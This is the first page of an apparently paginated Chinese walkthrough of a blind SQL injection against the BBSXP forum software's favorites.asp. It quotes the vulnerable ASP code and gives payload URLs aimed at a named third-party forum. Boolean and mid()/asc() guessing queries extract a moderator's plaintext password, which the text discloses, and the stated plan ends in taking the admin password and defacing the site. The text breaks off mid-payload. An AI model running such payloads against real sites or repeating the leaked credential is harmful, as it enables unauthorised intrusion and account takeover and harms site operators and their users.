|
漏洞分析
序:
有一部电影的名字叫着《全职杀手》,剧中的男主角托尔,我非常喜欢他的个性!
他非常的cool,i like!呵呵,不知道你看过这部电影没有?
不过,我今天要为大家讲解的故事发现在网络当中.这次是一次非常,常见的sql渗透攻击.也是最基础的.
过程如下:
1.找出漏洞并分析漏洞.
2.利用漏洞,得到前台区长密码.
3.利用漏洞,得到后台密码.
4.添加公告,闪人!
开始工作:
到bbsxp官方网站下载最新的bbsxp。
第一步:找出漏洞,并分析漏洞.这个漏洞存在于用户添加收藏功能中 相应的asp文件:favorites.asp
//*************************源代码***************************************************//
<%
if request.cookies("username")="" then
error("
您还还未登陆社区")
end if
select case request("menu")
case "add"
if request.servervariables("request_method")="post" then
url=request("url")
else
url=request.servervariables("http_referer")
end if
conn.execute("insert into favorites(username,name,url)values("&request.cookies("username")&","&request("name")&","&url&")")
error2("已经添加到网络收藏夹!")
case "del"
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
end select
//***************************后面的无用代码略掉********************************//
看到代码了,首先要注册使用本功能.
然后在这个asp文件中提交的参数有:menu,id就这两个值.
大家看看,当提交的menu=del的时候。哈哈!调用的是什么?就是它,它就有漏洞。漏洞在哪里?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
提交的id值没有过滤直接加入到sql语句中了。
攻击演示
第二步,利用漏洞,得到前台管理员密码.
接到上面的来。我们测试一下这个漏洞是不是存在.
自己先添加一个收藏地址进去.得到收藏的id号(我们得到的是576)。
在ie中提交.
http://bbs.yuzi.net/favori... and 1=1
提交到sql中,实际上就是:
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=1")
不用管那个request.cookies("username").他直接就等于你进来的用户名.
提交后,发现我们收藏的文件被del了。证明有这个漏洞,没有打上补丁。
现在我找到漏洞了,呵呵~!点支烟吧!!打开数据库查看数据库结构。
保存数据库的用户名字段为:username 密码字段为:userpass(注:密码是明码,没有经过任何加密)
我们现在就来得到一个区长的密码吧。在首页看到区长的名字有一个叫:kongweb的.
提交http://bbs.yuzi.net/favori... and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)
呵呵,提交到sql中,又是什么呢?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")
对sql语句了解的战友们都知道,当where条件后面为真的情况下,才会执行这条语句!
执行这条语句的结果就是del一条自己的收藏地址,那么我们的
1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")
如果为真的话就del了id为576的收藏地址.
看一下。这条语句,当用户名是kongweb,当密码长度为5的时候,就有一条记录返回。
count(*)的意思就是返回满足条件的记录总数,刚好为1条。也就是说等式正立。
当然不成功,是不会del了收藏地址的。
最后我们改变长度值. 结果出来了当长度等于9的时候。del了收藏地址。
证明kongweb这个区长的密码为:9位.
好了,我们开工吧, 我们来破他的第一位密码。不过我们在先破密码的时候,要多加点收藏地址。
因为正确一个就会del一个收藏地址。
采用提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=a)
这里说一个mid函数的用法:
mid(字符串,起始位置,长度) 这是一个取字符串中特定位置,特定长度的一个函数.
我们mid(userpass,1,1)=a表示取出密码的第一位看是不是a 注:一定要加上单引号不错会出错.
本来我打算用我写的破解程序的来直接破解的,不过我们连到他的bbs网站上特别的慢。也不知道为什么。
所以,程序半天都跑不出来。也就只有手工猜了.
第一位密码几分种后才猜出来。
当我们提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=k) 的时候,我们del了,收藏地址id为588的记录.
在ie中没有看到那条记录了。证明成功了。好,现在换id值,取第二位.
http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,2,1)=d)
就这样重复的提交和修改,最后得出密码是:kdjkdjkdj
这里来介绍一下简单的方法,可以用取字符asc码的办法缩小范围的。
http://..... and 1=(select count(*) from [user] where username=kongweb and asc(mid(userpass,1,1))> [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] 下一页 |